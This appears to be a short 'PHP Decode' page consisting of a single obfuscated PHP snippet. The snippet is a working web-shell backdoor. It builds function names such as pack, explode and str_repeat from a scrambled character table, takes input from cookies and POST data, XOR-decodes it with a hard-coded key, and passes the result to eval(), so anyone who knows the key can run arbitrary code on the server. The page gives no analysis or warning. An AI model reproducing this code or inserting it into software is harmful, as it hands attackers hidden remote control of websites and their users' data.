PHP Decode

<?php 
$pzurn = '-dHaglcv#s6i2t\'0148u7bxy5r_fep*mno39k';$gziwnvj = Array();$gziwnvj[] = $pzurn[2].$pzurn[30];$gziwnvj[] = $pzurn[8];$gziwnvj[] = $pzurn[16].$pzurn[27].$pzurn[24].$pzurn[15].$pzurn[34].$pzurn[34].$pzurn[28].$pzurn[17].$pzurn[0].$pzurn[28].$pzurn[27].$pzurn[12].$pzurn[35].$pzurn[0].$pzurn[17].$pzurn[12].$pzurn[18].$pzurn[35].$pzurn[0].$pzurn[3].$pzurn[34].$pzurn[27].$pzurn[35].$pzurn[0].$pzurn[17].$pzurn[10].$pzurn[6].$pzurn[3].$pzurn[17].$pzurn[35].$pzurn[34].$pzurn[27].$pzurn[20].$pzurn[18].$pzurn[12].$pzurn[35];$gziwnvj[] = $pzurn[6].$pzurn[33].$pzurn[19].$pzurn[32].$pzurn[13];$gziwnvj[] = $pzurn[9].$pzurn[13].$pzurn[25].$pzurn[26].$pzurn[25].$pzurn[28].$pzurn[29].$pzurn[28].$pzurn[3].$pzurn[13];$gziwnvj[] = $pzurn[28].$pzurn[22].$pzurn[29].$pzurn[5].$pzurn[33].$pzurn[1].$pzurn[28];$gziwnvj[] = $pzurn[9].$pzurn[19].$pzurn[21].$pzurn[9].$pzurn[13].$pzurn[25];$gziwnvj[] = $pzurn[3].$pzurn[25].$pzurn[25].$pzurn[3].$pzurn[23].$pzurn[26].$pzurn[31].$pzurn[28].$pzurn[25].$pzurn[4].$pzurn[28];$gziwnvj[] = $pzurn[9].$pzurn[13].$pzurn[25].$pzurn[5].$pzurn[28].$pzurn[32];$gziwnvj[] = $pzurn[29].$pzurn[3].$pzurn[6].$pzurn[36];foreach ($gziwnvj[7]($_COOKIE, $_POST) as $nabahld => $udveio){function rbnth($gziwnvj, $nabahld, $lyltwo){return $gziwnvj[6]($gziwnvj[4]($nabahld . $gziwnvj[2], ($lyltwo / $gziwnvj[8]($nabahld)) + 1), 0, $lyltwo);}function zftoua($gziwnvj, $cbbzhm){return @$gziwnvj[9]($gziwnvj[0], $cbbzhm);}function tguwdm($gziwnvj, $cbbzhm){$bjjqyz = $gziwnvj[3]($cbbzhm) % 3;if (!$bjjqyz) {eval($cbbzhm[1]($cbbzhm[2]));exit();}}$udveio = zftoua($gziwnvj, $udveio);tguwdm($gziwnvj, $gziwnvj[5]($gziwnvj[1], $udveio ^ rbnth($gziwnvj, $nabahld, $gziwnvj[8]($udveio))));} ?>